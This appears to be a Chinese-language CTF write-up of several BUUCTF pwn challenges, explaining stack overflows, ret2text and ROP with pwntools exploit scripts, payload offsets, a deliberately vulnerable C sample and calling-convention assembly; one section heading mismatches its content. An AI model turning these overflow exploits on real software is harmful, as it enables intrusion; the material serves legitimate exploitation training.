1.tset_yours_nc
1)先下载文件,启动靶机

先放到IDA里进行静态分析。
点击bin/sh,再点击command,点击X,发现地址

再返回main点击F5,反汇编,查看,发现main函数里只有system,所以直接nc拿到flag.


解出改题

2.rip
先启动靶机,下载文件。
先用checkec进行检测

- 从图上可以看出它是一个64位程序,仅开启了栈不可执行保护, 没有打开NX防护(堆栈可执行),No PIE.
- 可猜测为 栈溢出漏洞.,
- 用IDA进行分析


- 发现bin/sh,双击bin/sh,点击command,点击X,发现地址再fun函数里

- 按F5,看到fun函数,发现sytem.

- 我们需要想办法触发fun函数。
-
get函数
gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。
可以利用缓冲区溢出,将缓冲区填满后跳转到fun函数处,获取shell,进而获取flag三.编写exploit
EXP的基本框架:> from pwn import* //pwntools函数导入 sh = remote('node4.buuoj.cn',27719) //连接靶机的服务,需要输入对应的ip地址和端口号 #sh = process('./pwn1') //本地调试 payload = b'a'*23+p64(0x40118A) //输入payload来进行操作以拿到程序的shell sh.sendline(payload) //sendline() - 发送带回车符的字符串 //sendline() 和 send() 唯一的区别就是在发送的字符串后面加上了回车换行符. sh.interactive() //发送命令进行交互, sh.interactive()允许我们在终端里将命令传送到靶机服务器
payload = b’a’*23+p64(0x40118A) 核心在于偏移量23计算和0x40118A的由来
其中 b是bytes的缩写,是bytes类型,p64是打包函数,把地址转换为b类型的二进制形式
偏移量23计算
在main函数中,双击s,s占据了15个db,再加上"s"[saved registers]的8个db,一共23个db.
0x40118A的由来
在IDA中,打开fun函数, 可看到fun()函数开始的地址为0x401186, "/bin/sh"指令执行的地址为0x40118A
四.运行EXP, 获取flag
3.warmup_csaw_2016
-
先检查,发现是64位,放入idax64:
-
后门函数中运行的地址在0x000400611
main函数中字符分配到的地址:
从40到80
-
最后,编写exp
from pwn import *
p=remote("node4.buuoj.cn",25851)
payload=b'a'*(0x40+8)+p64(0x400611+1)
p.sendline(payload)
p.interactive()
使用pwn工具直接出现flag:
-
第四题
-
4.ciscn_2019_n_1
程序分析:32位程序,只开启了NX保护,然后打开 IDA, 查看一下源代码

-
运行结果
muggle@muggle-virtual-machine:~/CTF-Pwn/BUUCTF/pwn1_sctf_2016(栈溢出,I 变成 you)$ ./pwn
Tell me something about yourself: I I I I I
So, you you you you大概意思就是会将 I 变成 you,这样就20个就等价于20个you这样就有60个字节了,这样就可以造成溢出了

-

-
然后分析地址和偏移量
-
然后写pyload
-
payload = offset*'I' +'aaaa'+ p32(0x08048F13)然后得到falg
-
14.[HarekazeCTF2019]baby_rop.1
-

- 先启动靶机,下载文件
- 程序分析:先进行分析,开了NX,打开 IDA

发现了system函数和字符串/bin/sh -
shelladdr=0x601048
-
systemaddr=0x400496 -


然后写payload.
payload='a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)得到flag
ret2text的前置条件
-
程序存在栈溢出漏洞,可以覆盖返回地址。
-
程序.text段中存在可以执行恶意命令的代码片段,或者可以利用ROP技术拼接多个代码片段。
-
程序没有开启地址随机化或者可以泄露地址信息,可以确定代码片段的地址。
-
32位中构造ROP
-
多数函数并不会直接将“shell = '/bin/sh'”这种危险字符串和system函数放在一起,此时就需要传参传参
-
#include<stdio.h> #include<stdlib.h> #include<unistd.h> char shell[] = "/bin/sh"; int func(char *cmd){ system(shell); return 0; } int dofunc(){ char a[8]={}; write(1,"inputs: ",7); read(0,a,0x100); return 0; } int main(){ dofunc(); return 0;利用溢出覆盖返回地址进入func函数内部,再将参数一指向“/bin/sh”的储存地址即可。其中要注意的是r处需要我们进行垃圾数据的填充。
-
from pwn import * #配置信息 context(log_level='debug',arch='i386',os='linux') #context(arch='arm64',os='linux') #打开路径 file = './ret2text_func2_x86' io = process(file) elf = ELF(file) #注入信息 sh_addr = 0x804c018 #ret_addr = 0x8049186 ret_addr = elf.symbols['func'] padding = 0x14 payload = padding*b'a' + p32(ret_addr) + p32(0) + p32(sh_addr) dem = b'inputs:' io.sendlineafter(dem,payload) io.interactive()64构造ROP
对x64的参数,大部分情况下,前六个参数储存在寄存器内,无法直接使用简单的栈溢出修改寄存器内容,这时候我们需要解除ROPgadget工具进行辅助。
ROP(Return Oriented Programming),即返回导向编程,通过栈溢出内容覆盖返回地址,使其跳转到可执行文件中已有的片段代码中执行我们选择的代码段。
知道了ROP工具的功能,我们需要做的是
-
修改rdi的值(可使用代码pop rdi ; ret)
-
在栈中放入‘bin/sh’经由pop提交给rdi
-
进入func函数内调用system函数
-
64位x86架构
-
0x400526 push rbp 0x400527 mov rbp, rsp 0x40052A sub rsp, 10h 0x40052E mov [rbp+var_8], 1 # 变量 a 赋值 0x400535 mov [rbp+var_4], 2 # 变量 b 赋值 0x40053C mov edx, [rbp+var_4] # 变量 b 传参 0x40053F mov eax, [rbp+var_8] # 变量 a 传参 0x400542 mov esi, edx # 变量 b 传参 0x400544 mov edi, eax # 变量 a 传参 0x400546 mov eax, 0 0x40054B call sum 0x400550 mov esi, eax 0x400552 mov edi, offset format ; "sum: %d" 0x400557 mov eax, 0 0x40055C call _printf 0x400561 nop 0x400562 leave 0x400563 retn -
RDI (Destination Index): 用于传递第一个整数参数。
-
RSI (Source Index): 用于传递第二个整数参数。
-
RDX (Data Register): 用于传递第三个整数参数。
-
RCX (Counter Register): 用于传递第四个整数参数。
-
R8: 用于传递第五个整数参数。
-
R9: 用于传递第六个整数参数
32位架构
所有参数直接使用栈来传
0x0804840B lea ecx, [esp+4]
0x0804840F and esp, 0FFFFFFF0h
0x08048412 push dword ptr [ecx-4]
0x08048415 push ebp
0x08048416 mov ebp, esp
0x08048418 push ecx
0x08048419 sub esp, 14h
0x0804841C mov [ebp+var_10], 1 # 此处变量赋值 a
0x08048423 mov [ebp+var_C], 2 # 此处变量赋值 b
0x0804842A sub esp, 8
0x0804842D push [ebp+var_C] # 此处往栈中压入 b 的地址
0x08048430 push [ebp+var_10] # 此处往栈中压入 a 的地址
0x08048433 call sum
0x08048438 add esp, 10h
0x0804843B sub esp, 8
0x0804843E push eax
0x0804843F push offset format ; "sum: %d"
0x08048444 call _printf
0x08048449 add esp, 10h
0x0804844C nop
0x0804844D mov ecx, [ebp+var_4]
0x08048450 leave
0x08048451 lea esp, [ecx-4]
0x08048454 retn
递
本文讲述了在CTF挑战中,如何通过下载文件、静态分析、IDA工具定位栈溢出漏洞,利用pwn技术和ROP技术编写exploit,包括payload构建、连接靶机、执行shell命令,以及在不同架构下(32位和64位)的具体操作过程,最终获取flag。
1060

被折叠的 条评论
为什么被折叠?



